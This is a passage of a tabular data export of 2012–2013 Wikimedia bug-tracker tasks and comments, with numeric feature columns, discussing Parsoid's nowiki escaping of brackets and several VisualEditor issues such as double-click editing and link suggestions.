[[Link target|These are '''just'''<nowiki> [normal brackets]</nowiki>]]",,,1359415346,,PHID-USER-hbtlbu4zftxnz4i6f7yf,False,,,PHID-TASK-sdeqwu5trbiv6f7fqfg7,task_subcomment,,True,c1,1,True,,,-22,,0.5,0.0,0.0,1.0,0.5,9.5,1.0,0.0,0.0,0.0,1.0,5.5,0.0,0.0,0.0,1.0,0.0,5.0,5.5,0.0,1.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.5,1.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,1.0,0.0,10.0,0.0,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,1.0,0.0,1.5,4.0,4.0,1.0,1.0,4.0,0.0,0.0,0.0,0.0,2.0,0.0,1.5,0.0,1.5,5.5,0.5,0.0,4.5,0.0,1.5,0.0,1.5,1.0,0.0,0.0,0.5,0.0,9.0,4.111111111111111,0.7592592592592593,"One underlying issue is that our tokenizer is relatively liberal in what it accepts as an external link target, while a stricter validation is applied after templates etc are expanded. Our wikitext escaper also makes use of the tokenizer (plus some regexps), but does not (yet) consider external links that turn out to have invalid targets.

Current output:

echo ""[[Link target|These are '''just''' [normal brackets]]]"" | nodejs parse --wt2wt
[[Link target|These are '''just'''<nowiki> [normal brackets]</nowiki>]]"
204525,Parsoid: Square brackets sometimes (but not always) get escaped with <nowiki>s when PHP parser wouldn't,"(In reply to comment #2)
> and the fact that the last
> ""]"" is outside the link.  

The first ] is inside the link and the last 2 are the closing link.

I agree that there may be more pressing matters, but compare that in one case:

[[Link target|These are ['''just''' normal brackets]]

the parser already works correct (does not add superfluous nowiki). Only if there is no formatting inside single square brackets it adds nowiki. I suspect this is not very logical.

(... and annyoing on the live testing on en.wikipedia.)",,,1355510254,,PHID-USER-grpjkpfolt5gz4ljlbfg,False,,,PHID-TASK-sdeqwu5trbiv6f7fqfg7,task_subcomment,,True,c1,1,False,,,-29,,0.0,0.0,1.0,0.0,2.0,8.0,1.5,0.0,0.0,1.0,1.0,3.0,0.0,1.0,1.5,1.5,1.0,6.0,6.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.5,0.5,0.0,0.0,8.5,1.0,1.0,3.5,0.0,0.0,0.0,0.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,7.5,1.0,0.5,0.0,1.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,4.0,4.0,5.0,2.0,2.0,6.0,0.0,0.0,0.0,0.5,2.0,0.0,1.5,0.0,2.5,6.5,2.5,0.0,1.5,0.0,2.5,0.0,0.0,0.0,0.0,1.0,0.5,0.0,2.5,3.616071428571429,0.7767857142857143,"(In reply to comment #2)
QUOTE
QUOTE

The first ] is inside the link and the last 2 are the closing link.

I agree that there may be more pressing matters, but compare that in one case:

[[Link target|These are ['''just''' normal brackets]]

the parser already works correct (does not add superfluous nowiki). Only if there is no formatting inside single square brackets it adds nowiki. I suspect this is not very logical.

(... and annyoing on the live testing on en.wikipedia.)"
204517,Parsoid: Square brackets sometimes (but not always) get escaped with <nowiki>s when PHP parser wouldn't,"The nowiki-escaping is related to how Parsoid parses the text: [[Link target|These are ['''just''' normal brackets]]] and the fact that the last ""]"" is outside the link.  The nowiki escaping strategy is safe (but conservative) and tries not to accidentally create a wikilink when a ""]"" precedes a regular link bracket.  We (Parsoid team) should fix the parse first, add new tests, and then update the nowiki escaping.",,,1355508117,,PHID-USER-slccyo5rqasgpljxny7g,False,,,PHID-TASK-sdeqwu5trbiv6f7fqfg7,task_subcomment,,True,c1,1,True,,,-29,,0.0,0.0,0.0,1.0,1.0,9.0,2.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,1.0,0.0,7.0,4.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,8.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,1.0,0.0,0.0,15.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,11.0,4.0,6.0,3.0,4.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,1.0,4.0,2.0,0.0,6.0,0.0,1.0,0.0,2.0,3.0,0.0,1.0,0.0,0.0,4.0,3.6458333333333335,0.625,"The nowiki-escaping is related to how Parsoid parses the text: [[Link target|These are ['''just''' normal brackets]]] and the fact that the last ""]"" is outside the link.  The nowiki escaping strategy is safe (but conservative) and tries not to accidentally create a wikilink when a ""]"" precedes a regular link bracket.  We (Parsoid team) should fix the parse first, add new tests, and then update the nowiki escaping."
204507,Parsoid: Square brackets sometimes (but not always) get escaped with <nowiki>s when PHP parser wouldn't,"This appears to be a Parsoid bug; adjusting to reflect that.

If you use the RT form - http://parsoid.wmflabs.org/_rtform/ - on the above string:

[[Link target|These are '''just''' [normal brackets]]]
->
[[Link target|These are '''just'''<nowiki> [normal brackets]</nowiki>]]

However, it generates correct HTML; for the other string:

[[Link target|These are ['''just''' normal brackets]]]
->
<p data-parsoid=""{&quot;dsr&quot;:[0,54]}""><a rel=""mw:WikiLink"" href=""./Link_target"" data-parsoid=""{&quot;tsr&quot;:[0,53],&quot;a&quot;:{&quot;href&quot;:&quot;./Link_target&quot;},&quot;sa&quot;:{&quot;href&quot;:&quot;Link target&quot;},&quot;stx&quot;:&quot;piped&quot;,&quot;dsr&quot;:[0,53]}"">These are [<b data-parsoid=""{&quot;tsr&quot;:[25,28],&quot;dsr&quot;:[25,35]}"">just</b> normal brackets</a>]</p>

Whereas canonical HTML from the PHP parser is:

<p><a href=""/wiki/Link_target"" title=""Link target"">These are [<b>just</b> normal brackets]</a></p>

[i.e., the closing not-used-for-a-link square bracket is inside the link, not outside it - however, this is probably a separate bug; happy to re-file.]",,,1355507224,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-sdeqwu5trbiv6f7fqfg7,task_subcomment,,True,c1,1,True,,,-29,,0.0,0.0,0.0,0.0,1.0,8.0,1.5,0.0,0.0,0.5,1.5,5.0,0.0,0.0,0.0,0.0,0.0,3.5,6.0,0.0,1.5,0.0,0.5,0.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,6.5,0.5,1.0,0.0,0.5,0.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,1.5,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,4.5,4.5,7.5,1.0,0.0,7.5,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,1.5,6.0,5.0,0.0,4.0,0.0,1.5,0.0,0.0,1.5,0.0,0.5,0.0,0.0,14.5,5.050284031138228,0.5542289080580686,"This appears to be a Parsoid bug; adjusting to reflect that.

If you use the RT form - URL - on the above string:

[[Link target|These are '''just''' [normal brackets]]]
->
[[Link target|These are '''just'''<nowiki> [normal brackets]</nowiki>]]

However, it generates correct HTML; for the other string:

[[Link target|These are ['''just''' normal brackets]]]
->
<p data-parsoid=""{&quot;dsr&quot;:[0,54]}""><a rel=""mw:WikiLink"" href=""./Link_target"" data-parsoid=""{&quot;tsr&quot;:[0,53],&quot;a&quot;:{&quot;href&quot;:&quot;./Link_target&quot;},&quot;sa&quot;:{&quot;href&quot;:&quot;Link target&quot;},&quot;stx&quot;:&quot;piped&quot;,&quot;dsr&quot;:[0,53]}"">These are [<b data-parsoid=""{&quot;tsr&quot;:[25,28],&quot;dsr&quot;:[25,35]}"">just</b> normal brackets</a>]</p>

Whereas canonical HTML from the PHP parser is:

<p><a href=""/wiki/Link_target"" title=""Link target"">These are [<b>just</b> normal brackets]</a></p>

[i.e., the closing not-used-for-a-link square bracket is inside the link, not outside it - however, this is probably a separate bug; happy to re-file.]"
45063,"VisualEditor: Suppress ""Web link"" section in link inspector suggestion list if a wiki page link already exists","Present situation: the Visual Editor, when clicking on an existing Wiki-Link, provides the chain-link icon which in turn opens a dialogue which contains a pick list. In the pick list two sections exist: ""Existing page"" (value e.g. ""Pretoria"") and ""Web link"" (e.g. ""http://Pretoria""). 

The present dialogue is good enough for creating new links. However, for existing links it is somewhat confusing to offer a nonsense http:// link as an equally valid alternative to an existing or previously confirmed wiki page.

I suggest to keep the present behaviour for new links, but for existing wiki-page-links suppress the ""web link"" part of the pick list. It will still be possible to enter URLs directly in the dialogue box, the enhancement is only about suppressing it in the pick list.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
https://bugzilla.wikimedia.org/show_bug.cgi?id=43841",Low,25.0,1355397960,1367544076.0,PHID-USER-grpjkpfolt5gz4ljlbfg,False,,False,PHID-TASK-3cu7p6qfbrrfjek7shaw,task_description,invalid,True,c1,1,False,False,True,-29,,0.0,0.0,0.0,0.0,0.0,5.5,2.0,0.0,0.0,0.0,4.0,0.0,0.0,1.0,0.0,0.5,0.5,6.0,8.5,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,4.5,0.5,1.5,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,3.0,0.0,1.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.0,0.5,0.5,0.0,8.0,2.0,10.5,0.5,1.5,9.0,0.0,0.0,0.0,0.0,2.5,0.0,0.5,0.0,2.0,8.5,3.0,0.0,4.5,0.0,2.0,0.0,1.5,3.0,0.0,4.0,0.0,0.0,0.0,3.893673012318029,0.6505599104143338,"Present situation: the Visual Editor, when clicking on an existing Wiki-Link, provides the chain-link icon which in turn opens a dialogue which contains a pick list. In the pick list two sections exist: ""Existing page"" (value e.g. ""Pretoria"") and ""Web link"" (e.g. ""URL 

The present dialogue is good enough for creating new links. However, for existing links it is somewhat confusing to offer a nonsense http:// link as an equally valid alternative to an existing or previously confirmed wiki page.

I suggest to keep the present behaviour for new links, but for existing wiki-page-links suppress the ""web link"" part of the pick list. It will still be possible to enter URLs directly in the dialogue box, the enhancement is only about suppressing it in the pick list.

--------------------------
**Version**: unspecified
**Severity**: enhancement
**See Also**:
URL"
204167,"VisualEditor: Suppress ""Web link"" section in link inspector suggestion list if a wiki page link already exists","This refers to behaviour that has now changed such that this is no longer actionable, so marking as INVALID.",,,1367544076,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3cu7p6qfbrrfjek7shaw,task_subcomment,,True,c1,1,True,,,-9,,0.0,0.0,0.0,0.0,0.0,10.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,10.0,5.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,5.0,0.0,0.0,4.285714285714286,0.9523809523809523,"This refers to behaviour that has now changed such that this is no longer actionable, so marking as INVALID."
204164,"VisualEditor: Suppress ""Web link"" section in link inspector suggestion list if a wiki page link already exists","I am not proposing ANY changes to creating a new link. So when you mark the text wikipedia.org, yes you should be provided with page and the url in the picklist.

My suggestion is about the confusion that occurs when the link already exists and already points to an internal page. I believe that then the chance that users want to validly change it to an external http URL are very small and not worth the confusion. The enhancement is about avoiding visual clutter and avoiding accidental mis-selections. And in those cases where you do want to change an external link to an internal one: you can still do it, only not with the pick list.

I am not sure I understand the timing issues you mention, since the web page suggestions are always non-sense suggestions, just prefixing the text with http, so it seems easily suppressible. The ajax responsible for possible pages is a different story, but the visibility of that is not under discussion.",,,1355435857,,PHID-USER-grpjkpfolt5gz4ljlbfg,False,,,PHID-TASK-3cu7p6qfbrrfjek7shaw,task_subcomment,,True,c1,1,False,,,-29,,0.5,0.0,0.5,0.5,2.5,9.0,3.5,0.0,0.0,0.0,1.0,0.0,0.0,0.5,0.0,2.5,0.0,10.0,10.5,0.0,1.0,0.5,0.5,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,9.5,1.5,1.5,0.5,2.5,0.5,0.0,0.0,0.5,0.0,0.0,0.0,4.5,0.0,0.0,0.5,0.5,0.5,14.0,0.5,0.5,0.0,1.0,0.0,0.0,0.0,0.0,0.5,0.0,0.5,1.0,0.5,0.0,0.5,0.5,0.0,10.5,4.5,5.5,3.5,3.0,12.0,0.0,0.0,0.0,0.0,2.5,0.5,0.5,0.0,7.0,10.5,0.0,0.0,0.0,0.0,7.0,0.0,2.0,3.0,0.0,2.5,0.0,0.0,0.5,4.181022649279341,0.7167124227865478,"I am not proposing ANY changes to creating a new link. So when you mark the text wikipedia.org, yes you should be provided with page and the url in the picklist.

My suggestion is about the confusion that occurs when the link already exists and already points to an internal page. I believe that then the chance that users want to validly change it to an external http URL are very small and not worth the confusion. The enhancement is about avoiding visual clutter and avoiding accidental mis-selections. And in those cases where you do want to change an external link to an internal one: you can still do it, only not with the pick list.

I am not sure I understand the timing issues you mention, since the web page suggestions are always non-sense suggestions, just prefixing the text with http, so it seems easily suppressible. The ajax responsible for possible pages is a different story, but the visibility of that is not under discussion."
204159,"VisualEditor: Suppress ""Web link"" section in link inspector suggestion list if a wiki page link already exists","Not convinced that this is correct; yes, you /can/ have a valid page at a web site, but still want to link to the external one. For the most trivial example, ""amazon.com"" is both an article (on enwiki) and a valid external link. Therefore I'm minded to WONTFIX this.

Also, I'd note that there are timing issues (as the list is created before the suggestions are returned), but those are minor.",,,1355434976,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3cu7p6qfbrrfjek7shaw,task_subcomment,,True,c1,1,True,,,-29,,0.0,0.0,0.0,2.0,1.0,9.0,3.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,1.0,2.0,0.0,6.0,11.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,11.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,0.0,0.0,1.0,10.0,3.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,7.0,8.0,2.0,3.0,13.0,0.0,0.0,0.0,0.0,3.0,1.0,0.0,0.0,3.0,11.0,1.0,0.0,2.0,0.0,3.0,0.0,0.0,4.0,0.0,1.0,0.0,1.0,1.0,3.611111111111111,0.6888888888888889,"Not convinced that this is correct; yes, you /can/ have a valid page at a web site, but still want to link to the external one. For the most trivial example, ""amazon.com"" is both an article (on enwiki) and a valid external link. Therefore I'm minded to WONTFIX this.

Also, I'd note that there are timing issues (as the list is created before the suggestions are returned), but those are minor."
45052,mediawiki.action.view.dblClickEdit.dblClickEdit should trigger ca-edit click instead opening URL directly,"To account for editors that don't open a new page, simulate a click instead of using window.location directly.

That way editors such as VisualEditor will get the edit event and initiate the editor.

VisualEditor works without this as it updates the ca-edit url with ?veaction=edit, so it'll work. But still, going through a useless reload is... useless.

--------------------------
**Version**: unspecified
**Severity**: enhancement",Low,25.0,1355360100,1358469835.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,,False,PHID-TASK-5tc7u6hpj3ir3jtg2fhh,task_description,resolved,True,c1,1,True,False,True,-29,,0.0,0.0,0.0,0.0,1.0,7.0,0.0,0.0,0.0,0.0,3.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,10.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,1.0,0.0,13.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,1.0,0.0,7.0,1.0,8.0,1.0,2.0,9.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,2.0,10.0,2.0,1.0,0.0,0.0,2.0,0.0,1.0,3.0,0.0,2.0,0.0,0.0,0.0,4.0978260869565215,0.7065217391304348,"To account for editors that don't open a new page, simulate a click instead of using window.location directly.

That way editors such as VisualEditor will get the edit event and initiate the editor.

VisualEditor works without this as it updates the ca-edit url with ?veaction=edit, so it'll work. But still, going through a useless reload is... useless.

--------------------------
**Version**: unspecified
**Severity**: enhancement"
203493,mediawiki.action.view.dblClickEdit.dblClickEdit should trigger ca-edit click instead opening URL directly,Code has been merged.,,,1358469835,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-5tc7u6hpj3ir3jtg2fhh,task_subcomment,,True,c1,1,True,,,-24,,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,20.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6,1.0,Code has been merged.
203488,mediawiki.action.view.dblClickEdit.dblClickEdit should trigger ca-edit click instead opening URL directly,"mediawiki.action.view.dblClickEdit and mediawiki.action.view.rightClickEdit modules respectively.

Change-Id: Ie8a35700bc9e74b24f234ea682ad25375e18bda4",,,1355379612,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-5tc7u6hpj3ir3jtg2fhh,task_subcomment,,True,c1,1,True,,,-29,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.166666666666666,1.0,"mediawiki.action.view.dblClickEdit and mediawiki.action.view.rightClickEdit modules respectively.

Change-Id: Ie8a35700bc9e74b24f234ea682ad25375e18bda4"
45043,VisualEditor: Strange duplication of content after multiple save attempts,"Reported at http://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback#Error_saving_data_to_server:_error: the parsoid appears to time out(?) and reports that there's an error, while actually saving the page. Meanwhile, a second attempt at saving has the same problem, /also/ saves...but adds random duplication of sentence fragments. See 
https://en.wikipedia.org/w/index.php?title=Cologne&diff=next&oldid=527666838

--------------------------
**Version**: unspecified
**Severity**: normal",Low,25.0,1355347080,1366665489.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-vus23yeu76aembddoyxe,task_description,resolved,True,c1,1,False,False,True,-29,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,3.0,10.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,1.0,0.0,4.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,1.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,10.0,3.0,3.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,4.071428571428571,0.7428571428571429,"Reported at URL the parsoid appears to time out(?) and reports that there's an error, while actually saving the page. Meanwhile, a second attempt at saving has the same problem, /also/ saves...but adds random duplication of sentence fragments. See 
URL

--------------------------
**Version**: unspecified
**Severity**: normal"
203036,VisualEditor: Strange duplication of content after multiple save attempts,I believe that this is now fixed given the changes in Parsoid and in how VE talks to it; marking as such.,,,1366665489,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-vus23yeu76aembddoyxe,task_subcomment,,True,c1,1,True,,,-10,,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,12.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,12.0,8.0,4.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,17.0,4.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,3.5,0.9583333333333334,I believe that this is now fixed given the changes in Parsoid and in how VE talks to it; marking as such.
45023,"VisualEditor: Handling of double click when preference ""Edit pages on double click"" is active","When using the VisualEditor and having the Preference ""Edit pages on double click (requires JavaScript)"" on, the Editor is stopped as soon as one tries to select a word  (= double click)or paragraph (= triple click). The javascript for ""Edit pages on double click (requires JavaScript)"" needs to be modified to check whether in VisualEditor mode or not (all works ok when in normal editing mode.

--------------------------
**Version**: unspecified
**Severity**: minor",Low,25.0,1355333220,1361748640.0,PHID-USER-grpjkpfolt5gz4ljlbfg,False,,False,PHID-TASK-3hi7my5pvgnqne4eigdb,task_description,resolved,True,c1,1,False,False,True,-29,,1.0,0.0,0.0,2.0,1.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,11.0,0.0,3.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,2.0,12.0,3.0,2.0,6.0,0.0,0.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,11.0,7.0,0.0,4.0,0.0,0.0,0.0,2.0,1.0,0.0,2.0,0.0,0.0,0.0,4.091836734693878,0.6326530612244898,"When using the VisualEditor and having the Preference ""Edit pages on double click (requires JavaScript)"" on, the Editor is stopped as soon as one tries to select a word  (= double click)or paragraph (= triple click). The javascript for ""Edit pages on double click (requires JavaScript)"" needs to be modified to check whether in VisualEditor mode or not (all works ok when in normal editing mode.

--------------------------
**Version**: unspecified
**Severity**: minor"
201980,"VisualEditor: Handling of double click when preference ""Edit pages on double click"" is active","This has been fixed by Ie8a35700bc9e in mediawiki core.

In the current configuration however out tabLayout is in ""add"" more (when this bug was reported, we were still in ""replace"" mode).

In ""add"" mode we add an extra tab for ""VisualEditor"", so the original ""Edit"" is still there, which is the default. And double-clicking in the content area will (as it should) trigger the original editor.

If/when we enable the ""replace"" mode again, since this bug is fixed, double-clicking will trigger VisualEditor as expected.

So, although it can't be seen right now, as the feature is not activated right now, this bug as been fixed.

To verify, edit ve.init.mw.ViewPageTarget.js and set `this.tabLayout = ""replace"";`.",,,1361748640,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-3hi7my5pvgnqne4eigdb,task_subcomment,,True,c1,1,True,,,-19,,0.0,0.0,0.0,3.5,1.5,4.0,1.5,0.0,0.5,0.5,6.0,0.5,0.0,0.0,0.0,1.5,0.0,8.5,9.5,0.0,0.5,0.5,0.5,0.0,1.5,0.0,0.0,0.0,0.0,1.5,0.0,5.0,1.5,1.5,2.0,0.0,0.0,0.5,2.0,0.0,0.0,0.0,2.0,0.5,0.5,0.0,0.0,0.0,0.0,11.0,0.5,2.0,0.5,0.5,0.0,0.0,0.0,0.5,0.5,0.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,4.5,5.5,6.5,3.0,1.5,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,9.5,4.0,0.0,6.5,0.0,3.0,0.0,1.5,0.5,0.0,0.0,0.5,0.0,0.0,3.717948717948718,0.6602564102564104,"This has been fixed by Ie8a35700bc9e in mediawiki core.

In the current configuration however out tabLayout is in ""add"" more (when this bug was reported, we were still in ""replace"" mode).

In ""add"" mode we add an extra tab for ""VisualEditor"", so the original ""Edit"" is still there, which is the default. And double-clicking in the content area will (as it should) trigger the original editor.

If/when we enable the ""replace"" mode again, since this bug is fixed, double-clicking will trigger VisualEditor as expected.

So, although it can't be seen right now, as the feature is not activated right now, this bug as been fixed.

To verify, edit ve.init.mw.ViewPageTarget.js and set CODE."
201974,"VisualEditor: Handling of double click when preference ""Edit pages on double click"" is active",Bumping; didn't make it to 2013-01-16.,,,1358461249,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3hi7my5pvgnqne4eigdb,task_subcomment,,True,c1,1,True,,,-24,,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,23.0,0.0,8.0,8.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.5384615384615383,0.9230769230769231,Bumping; didn't make it to 2013-01-16.
201967,"VisualEditor: Handling of double click when preference ""Edit pages on double click"" is active",The surface should just bind a click handler and prevent the event from bubbling up to the handler that mediawiki.action.view.dblClickEdit attaches to $content.,,,1355375630,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-3hi7my5pvgnqne4eigdb,task_subcomment,,True,c1,1,True,,,-29,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,20.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,4.0,4.0,4.0,16.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,5.52,0.88,The surface should just bind a click handler and prevent the event from bubbling up to the handler that mediawiki.action.view.dblClickEdit attaches to $content.
201959,"VisualEditor: Handling of double click when preference ""Edit pages on double click"" is active","Immediate solution is to suppress the JS when VE is active, but not when in read mode.

Longer-term, this should be refactored so that users have a ""default"" editor, and this kind of thing triggers whichever one you've chosen.",,,1355344807,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-3hi7my5pvgnqne4eigdb,task_subcomment,,True,c1,1,True,,,-29,,0.0,0.0,0.0,2.0,2.0,6.0,4.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,10.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,16.0,2.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,6.0,8.0,8.0,4.0,10.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,10.0,6.0,0.0,4.0,0.0,2.0,0.0,6.0,2.0,0.0,0.0,2.0,0.0,0.0,3.78,0.86,"Immediate solution is to suppress the JS when VE is active, but not when in read mode.

Longer-term, this should be refactored so that users have a ""default"" editor, and this kind of thing triggers whichever one you've chosen."
